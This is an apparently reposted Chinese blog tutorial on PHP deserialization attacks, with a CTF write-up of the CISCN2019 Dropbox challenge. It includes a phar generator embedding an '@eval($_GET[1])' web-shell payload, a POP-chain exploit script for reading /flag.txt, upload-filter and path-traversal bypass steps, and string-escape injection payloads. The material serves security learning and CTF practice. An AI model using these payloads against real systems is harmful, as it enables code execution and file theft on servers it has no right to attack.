PHP反序列化

news/2024/11/23 16:57:09/

文章目录

    • 简介
    • POP链构造和Phar://
      • 题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
    • 字符串逃逸

简介

php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。
php将数据序列化和反序列化会用到两个函数:
serialize 将对象格式化成有序的字符串。
unserialize 经字符串还原成原来的对象。
序列化的目的是方便数据的传输和储存。

序列化得到的结果:

a:3:{i:0;s:4:"anan";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为anan长度为4

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

<?php
class test{protected  $a;private $b;function __construct(){$this->a = "anan";$this->b="lan";}function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

输出则会导致不可见字符\x00的丢失

O:4:"test":2:{s:4:" * a";s::"anan";s:7:" test b";s:3:"lan";}

反序列化中常见的魔术方法:

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

POP链构造和Phar://

为什么要用POP链:做题过程中没有那么多的魔术方法可以绕过,审计代码的过程中只有普通的方法,但是不能直接利用,这是需要通过POP链联系起来。
phar://协议就是数据流包装器

<?php
class hello
{var $a = '';
}@unlink('test.phar');$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');$b = new hello();
$b->a = '@eval($_GET[1]);';$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

会生成test.phar

题目[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开后是一个登录框,注册登录发现可以上传文件,尝试上传,只能上传图片文件
在这里插入图片描述
抓包后修改Content-Type:image/jepg后上传成功
在这里插入图片描述
这里可以下载删除,可以利用这个点抓包,尝试读取文件
在这里插入图片描述
尝试查看flag,文件不存在,尝试下载源码,发现还是文件不存在,这里是目录跳转所以不存在
尝试跳转
在这里插入图片描述
可以下载需要的文件,index.php,login.php,upload.php,download.php,delete.php,class.php
进行代码审计,发现class.php中Filelist类中的__call()魔术方法

__call() //在对象上下文中调用不可访问的方法时触发

index.php中函数没有执行会执行__call()魔术方法
在这里插入图片描述
在这里插入图片描述
index.php中的Name和Size方法没有执行,去class.php中查看,File类中有close()方法,读取文件,可以进行文件包含。
POP链构造

a = new FileList()(可以通过Phar://完成)
a - >close() => a - >call(close)

a - >file = new File (‘/flag’)
a - >file - >close()

这里的close()方法需要在class.php中,有User类,其中__destruct()魔术方法,调用close()方法
在这里插入图片描述
构建payload

<?phpclass User {public $db;function __construct(){$this->db = new Filelist();}
}
class FileList {private $files;private $results;private $funcs;function __construct(){$this->files=[new File('/flag.txt')];$this->results=[];$this->funcs=[];}
}class File {public $filename;function __construct(){$this->filename=$name;}
}
$a = new User();$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

生成文件,抓包上传,通过抓包来读取想要的文件
在这里插入图片描述
需要注意的是,在download.php中,限制了访问的目录,所以只能在delete.php中利用payload
在这里插入图片描述

字符串逃逸

过滤后字符变多

<?php
function change($str){return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
?>

这里就是把反序列化后的一个x替换成为两个

我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";},从而造成";i:1;s:6:"woaini";}的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini,最后的;}闭合反序列化全过程导致原来的";i:1;s:7:“I am 11”;}"被舍弃,不影响反序列化过程

过滤后字符变少

<?php
function change($str){return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

就是把反序列化后的xx替换成为一个x
就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码,这部分是age序列化后的结果

s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:“age”;s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行。
参考PHP反序列化总结
PHP序列化和反序列化


http://www.ppmy.cn/news/28811.html

相关文章

开源电子书工具Calibre 6.3 发布

Calibre 开源项目是 Calibre 官方出的电子书管理工具。它可以查看&#xff0c;转换&#xff0c;编辑和分类所有主流格式的电子书。Calibre 是个跨平台软件&#xff0c;可以在 Linux、Windows 和 macOS 上运行。Calibre 6.3 正式发布&#xff0c;此次更新内容如下&#xff1a;新…

matplotlib综合学习

1.arange函数arange函数需要三个参数&#xff0c;分别为起始点、终止点、采样间隔。采样间隔默认值为1看例子&#xff1a; import numpy as np #import matplotlib.pyplot as plt xnp.arange(-5,5,1) print(x)2.绘制sin(x)曲线import numpy as np import matplotlib.pyplot as …

ffmpeg多路同时推流

一、ffmpeg常见使用方法1.1利用FFMPEG命令进行文件分割1.2转换格式1.3推流配置方法一&#xff1a;ngnix&#xff08;不推荐&#xff0c;推流不好使&#xff09;方法二&#xff1a;srs&#xff08;强烈推荐&#xff09;1.4查看nginx启动是否成功二、ffmpeg推流——>ngnix单路…

进行新类检测以及概念漂移适应的半监督分类框架SACCOS论文阅读笔记

介绍 本文主要想解决基于聚类的概念漂移检测方法中常做出的强假设问题&#xff0c;即假设同类比较接近&#xff0c;异类比较远离&#xff0c;并且还假设新类别出现时通常会连续大量出现。 针对这些问题&#xff0c;本文提出了一种基于数据流的半监督自适应分类框架SACCOS&…

【Python学习笔记】第二十一节 Python Lambda 函数

Python 提供了非常多的库和内置函数。有不同的方法可以执行相同的任务&#xff0c;而在 Python 中&#xff0c;有个万能之王函数&#xff1a;lambda 函数&#xff0c;它以不同的方式在任何地方使用。一、Lambda 函数简介在 Python 中&#xff0c;函数可以接受一个或多个位置参数…

在线安装ESP32和ESP8266 Arduino开发环境

esp32和esp8266都是乐鑫科技开发的单片机产品&#xff0c;esp8266价格便宜开发板只需要十多块钱就可以买到&#xff0c;而esp32是esp8266的升级版本&#xff0c;比esp8266的功能和性能更强大&#xff0c;开发板价格大约二十多元就可以买到。 使用Arduino开发esp32和esp8266需要…

3.查找算法:顺序查找和二分查找

查找查找&#xff0c;是指在一些数据元素中&#xff0c;通过一定的方法找出与给定关键字相同的数据元素的过程。列表查找&#xff08;线性表查找&#xff09;&#xff1a;从列表中查找指定元素输入&#xff1a;列表&#xff0c;待查找元素输出&#xff1a;元素下标&#xff08;…

数据库设计规范

三范式首先&#xff0c;设计数据库&#xff0c;要尽可能的满足三范式&#xff0c;遵循三范式开发会减少数据冗余、提升系统可扩展性和查询性能。第一范式的目标是确保每列的原子性如果每列都是不可再分的最小数据单元&#xff08;也称为最小的原子单元&#xff09;&#xff0c;…